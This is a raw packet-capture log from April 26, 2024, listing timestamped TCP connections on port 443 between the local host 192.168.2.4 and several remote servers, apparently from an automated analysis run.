Apr 26, 2024 09:59:14.736033916 CEST	49769	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:14.736040115 CEST	443	49769	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:14.782432079 CEST	49769	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:14.794544935 CEST	443	49774	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:14.802551031 CEST	49774	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:14.802599907 CEST	443	49774	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:14.804088116 CEST	443	49774	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:14.804658890 CEST	49774	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:14.804917097 CEST	443	49774	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:14.805002928 CEST	49774	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:14.848129988 CEST	443	49774	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:14.860995054 CEST	443	49769	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:14.861011028 CEST	443	49769	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:14.861090899 CEST	443	49769	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:14.861118078 CEST	49769	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:14.861139059 CEST	443	49769	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:14.861201048 CEST	443	49769	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:14.861223936 CEST	49769	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:14.861253023 CEST	49769	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:14.861377954 CEST	443	49769	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:14.861435890 CEST	49769	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:14.861443043 CEST	443	49769	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:14.861521006 CEST	443	49769	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:14.861577034 CEST	49769	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:14.861582994 CEST	443	49769	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:14.861905098 CEST	443	49769	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:14.861987114 CEST	49769	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:14.861994028 CEST	443	49769	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:14.862116098 CEST	443	49769	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:14.862173080 CEST	49769	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:14.862179995 CEST	443	49769	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:14.920408010 CEST	49769	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:14.965730906 CEST	443	49774	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:14.965807915 CEST	49774	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:14.965845108 CEST	443	49774	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:14.965909004 CEST	49774	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:14.965924978 CEST	443	49774	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:14.966002941 CEST	443	49774	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:14.966052055 CEST	49774	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:14.986264944 CEST	443	49769	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:14.986280918 CEST	443	49769	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:14.986349106 CEST	443	49769	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:14.986358881 CEST	49769	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:14.986372948 CEST	443	49769	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:14.986382961 CEST	443	49769	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:14.986402035 CEST	49769	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:14.986419916 CEST	49769	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:14.986664057 CEST	443	49769	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:14.986727953 CEST	49769	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:14.986737013 CEST	443	49769	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:14.986901999 CEST	443	49769	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:14.986953974 CEST	49769	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:14.986960888 CEST	443	49769	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:14.987104893 CEST	443	49769	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:14.987158060 CEST	49769	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:14.987164974 CEST	443	49769	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:14.987251043 CEST	443	49769	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:14.987299919 CEST	49769	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:14.987307072 CEST	443	49769	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:14.987462044 CEST	443	49769	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:14.987512112 CEST	49769	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:14.987519979 CEST	443	49769	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:14.987695932 CEST	443	49769	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:14.987750053 CEST	49769	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:14.987756014 CEST	443	49769	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:14.987793922 CEST	443	49769	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:14.987888098 CEST	49769	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:14.990331888 CEST	49769	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:14.990346909 CEST	443	49769	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:15.018141031 CEST	49775	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:15.018177986 CEST	443	49775	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:15.018249989 CEST	49775	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:15.018594027 CEST	49775	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:15.018609047 CEST	443	49775	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:15.053596973 CEST	49774	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:15.053637028 CEST	443	49774	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:15.406426907 CEST	443	49775	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:15.470607996 CEST	49775	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:15.764911890 CEST	49775	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:15.764940977 CEST	443	49775	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:15.765377045 CEST	443	49775	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:15.768548965 CEST	49775	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:15.768619061 CEST	443	49775	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:15.769073963 CEST	49775	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:15.769100904 CEST	443	49775	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:15.930234909 CEST	443	49775	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:15.930326939 CEST	443	49775	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:15.930424929 CEST	49775	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:15.930449963 CEST	49775	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:16.084569931 CEST	49775	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:16.084595919 CEST	443	49775	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:17.328944921 CEST	49777	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:17.329018116 CEST	443	49777	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:17.329083920 CEST	49777	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:17.329807043 CEST	49777	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:17.329837084 CEST	443	49777	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:17.738401890 CEST	443	49777	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:17.853777885 CEST	49777	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:18.144337893 CEST	49777	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:18.144382000 CEST	443	49777	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:18.145013094 CEST	443	49777	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:18.161921024 CEST	49777	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:18.162070990 CEST	443	49777	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:18.178514957 CEST	49777	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:18.178571939 CEST	443	49777	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:18.303688049 CEST	49781	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:18.303738117 CEST	443	49781	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:18.303797960 CEST	49781	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:18.304188013 CEST	49781	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:18.304203033 CEST	443	49781	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:18.348433018 CEST	443	49777	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:18.348526001 CEST	443	49777	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:18.348535061 CEST	49777	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:18.348779917 CEST	49777	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:18.356817961 CEST	49777	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:18.356853008 CEST	443	49777	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:18.427638054 CEST	49785	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:18.427692890 CEST	443	49785	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:18.427853107 CEST	49785	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:18.428275108 CEST	49785	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:18.428306103 CEST	443	49785	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:18.428845882 CEST	49786	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:18.428895950 CEST	443	49786	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:18.429162979 CEST	49786	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:18.429542065 CEST	49786	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:18.429569960 CEST	443	49786	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:18.601545095 CEST	49789	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:18.601651907 CEST	443	49789	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:18.601798058 CEST	49789	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:18.602509975 CEST	49789	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:18.602547884 CEST	443	49789	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:18.680087090 CEST	49790	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:18.680130959 CEST	443	49790	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:18.680501938 CEST	49790	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:18.683696032 CEST	49790	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:18.683711052 CEST	443	49790	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:18.688764095 CEST	443	49781	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:18.689677954 CEST	49792	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:18.689748049 CEST	443	49792	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:18.689846039 CEST	49792	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:18.691118002 CEST	49792	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:18.691148996 CEST	443	49792	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:18.691886902 CEST	49781	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:18.691924095 CEST	443	49781	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:18.692620039 CEST	443	49781	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:18.693202019 CEST	49781	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:18.693341970 CEST	443	49781	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:18.693519115 CEST	49781	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:18.693568945 CEST	443	49781	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:18.703120947 CEST	49793	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:18.703160048 CEST	443	49793	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:18.703444004 CEST	49793	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:18.703804016 CEST	49793	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:18.703833103 CEST	443	49793	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:18.704709053 CEST	49794	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:18.704736948 CEST	443	49794	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:18.704811096 CEST	49794	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:18.706089973 CEST	49794	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:18.706101894 CEST	443	49794	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:18.817922115 CEST	443	49785	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:18.818370104 CEST	49785	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:18.818408966 CEST	443	49785	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:18.818779945 CEST	443	49785	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:18.819287062 CEST	49785	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:18.819367886 CEST	443	49785	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:18.819418907 CEST	49785	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:18.820758104 CEST	443	49786	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:18.826226950 CEST	49786	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:18.826248884 CEST	443	49786	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:18.827405930 CEST	443	49786	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:18.828042030 CEST	49786	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:18.828166962 CEST	49786	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:18.828239918 CEST	443	49786	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:18.860126019 CEST	443	49785	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:18.916932106 CEST	49785	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:18.917037010 CEST	49786	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:18.972853899 CEST	443	49785	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:18.973336935 CEST	443	49785	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:18.973414898 CEST	49785	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:18.986371994 CEST	443	49789	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:18.992870092 CEST	443	49786	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:18.992901087 CEST	443	49786	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:18.992938042 CEST	49786	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:18.992944956 CEST	443	49786	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:18.993005037 CEST	49786	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:18.993035078 CEST	443	49786	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:18.993180037 CEST	443	49786	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:18.993257046 CEST	49786	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:19.007399082 CEST	49789	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:19.007422924 CEST	443	49789	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:19.008059025 CEST	443	49789	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:19.009082079 CEST	49789	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:19.009174109 CEST	443	49789	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:19.012017012 CEST	49789	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:19.012053967 CEST	443	49789	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:19.019203901 CEST	49786	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:19.019231081 CEST	443	49786	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:19.021425009 CEST	49799	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:19.021450996 CEST	443	49799	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:19.021545887 CEST	49799	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:19.023195028 CEST	49799	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:19.023212910 CEST	443	49799	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:19.023482084 CEST	49785	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:19.023525000 CEST	443	49785	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:19.068730116 CEST	443	49790	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:19.068929911 CEST	49790	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:19.068943977 CEST	443	49790	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:19.069422007 CEST	443	49790	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:19.069828987 CEST	49790	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:19.069916010 CEST	443	49790	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:19.070113897 CEST	49790	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:19.082175016 CEST	443	49792	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:19.082397938 CEST	49792	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:19.082417965 CEST	443	49792	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:19.086054087 CEST	443	49792	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:19.086153030 CEST	49792	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:19.086168051 CEST	443	49792	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:19.086322069 CEST	49792	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:19.086623907 CEST	49792	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:19.086827993 CEST	443	49792	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:19.087053061 CEST	49792	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:19.087101936 CEST	443	49792	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:19.087141037 CEST	49792	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:19.087302923 CEST	443	49792	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:19.087308884 CEST	49792	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:19.087373018 CEST	443	49792	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:19.089005947 CEST	443	49793	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:19.091427088 CEST	443	49794	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:19.093122005 CEST	49794	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:19.093135118 CEST	443	49794	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:19.093338013 CEST	49793	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:19.093362093 CEST	443	49793	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:19.094569921 CEST	443	49793	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:19.094667912 CEST	443	49794	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:19.094719887 CEST	49794	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:19.094726086 CEST	443	49794	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:19.094773054 CEST	49794	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:19.095159054 CEST	49793	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:19.095292091 CEST	49793	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:19.095304012 CEST	443	49793	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:19.095346928 CEST	443	49793	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:19.095530987 CEST	49793	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:19.095577955 CEST	443	49793	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:19.095833063 CEST	49794	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:19.095937967 CEST	443	49794	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:19.096096039 CEST	49794	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:19.096105099 CEST	443	49794	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:19.096205950 CEST	49794	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:19.112118006 CEST	443	49790	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:19.144114971 CEST	443	49794	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:19.206861019 CEST	49672	443	192.168.2.4	173.222.162.32
Apr 26, 2024 09:59:19.206890106 CEST	443	49672	173.222.162.32	192.168.2.4
Apr 26, 2024 09:59:19.289721012 CEST	443	49781	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:19.290061951 CEST	443	49781	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:19.290123940 CEST	49781	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:19.291393042 CEST	49781	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:19.291409016 CEST	443	49781	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:19.301765919 CEST	443	49739	172.217.3.68	192.168.2.4
Apr 26, 2024 09:59:19.301832914 CEST	443	49739	172.217.3.68	192.168.2.4
Apr 26, 2024 09:59:19.302284956 CEST	49739	443	192.168.2.4	172.217.3.68
Apr 26, 2024 09:59:19.303000927 CEST	49805	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:19.303041935 CEST	443	49805	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:19.303111076 CEST	49805	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:19.303864956 CEST	49805	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:19.303884029 CEST	443	49805	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:19.333408117 CEST	49739	443	192.168.2.4	172.217.3.68
Apr 26, 2024 09:59:19.333431959 CEST	443	49739	172.217.3.68	192.168.2.4
Apr 26, 2024 09:59:19.333858967 CEST	49806	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:19.333889961 CEST	443	49806	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:19.333971024 CEST	49806	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:19.334372044 CEST	49806	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:19.334389925 CEST	443	49806	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:19.349263906 CEST	443	49790	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:19.349348068 CEST	443	49790	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:19.349852085 CEST	49790	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:19.350114107 CEST	49790	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:19.350126028 CEST	443	49790	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:19.372226000 CEST	443	49792	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:19.372443914 CEST	443	49792	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:19.372510910 CEST	49792	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:19.373014927 CEST	49792	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:19.373034954 CEST	443	49792	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:19.379884005 CEST	443	49793	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:19.379941940 CEST	49793	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:19.379961014 CEST	443	49793	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:19.379981995 CEST	443	49793	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:19.380017042 CEST	49793	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:19.380043030 CEST	49793	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:19.380863905 CEST	49793	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:19.380884886 CEST	443	49793	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:19.381057024 CEST	443	49794	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:19.381119013 CEST	49794	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:19.381125927 CEST	443	49794	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:19.381158113 CEST	443	49794	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:19.381207943 CEST	49794	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:19.382301092 CEST	49794	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:19.382313013 CEST	443	49794	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:19.409478903 CEST	443	49799	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:19.409827948 CEST	49799	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:19.409859896 CEST	443	49799	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:19.410453081 CEST	443	49799	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:19.411147118 CEST	49799	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:19.411288977 CEST	49799	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:19.411318064 CEST	443	49799	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:19.573231936 CEST	443	49799	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:19.573283911 CEST	443	49799	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:19.573298931 CEST	49799	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:19.573314905 CEST	443	49799	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:19.573340893 CEST	49799	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:19.573529005 CEST	443	49799	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:19.573587894 CEST	49799	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:19.575177908 CEST	49799	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:19.575190067 CEST	443	49799	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:19.601016045 CEST	443	49789	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:19.601078033 CEST	443	49789	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:19.601090908 CEST	49789	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:19.601119995 CEST	49789	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:19.601521969 CEST	49789	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:19.601535082 CEST	443	49789	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:19.601578951 CEST	49789	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:19.601578951 CEST	49789	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:19.606465101 CEST	49809	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:19.606489897 CEST	443	49809	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:19.606676102 CEST	49809	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:19.607511997 CEST	49809	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:19.607522964 CEST	443	49809	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:19.698308945 CEST	443	49805	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:19.698590994 CEST	49805	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:19.698606014 CEST	443	49805	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:19.699083090 CEST	443	49805	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:19.699563026 CEST	49805	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:19.699644089 CEST	443	49805	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:19.699743032 CEST	49805	443	192.168.2.4	52.108.8.12
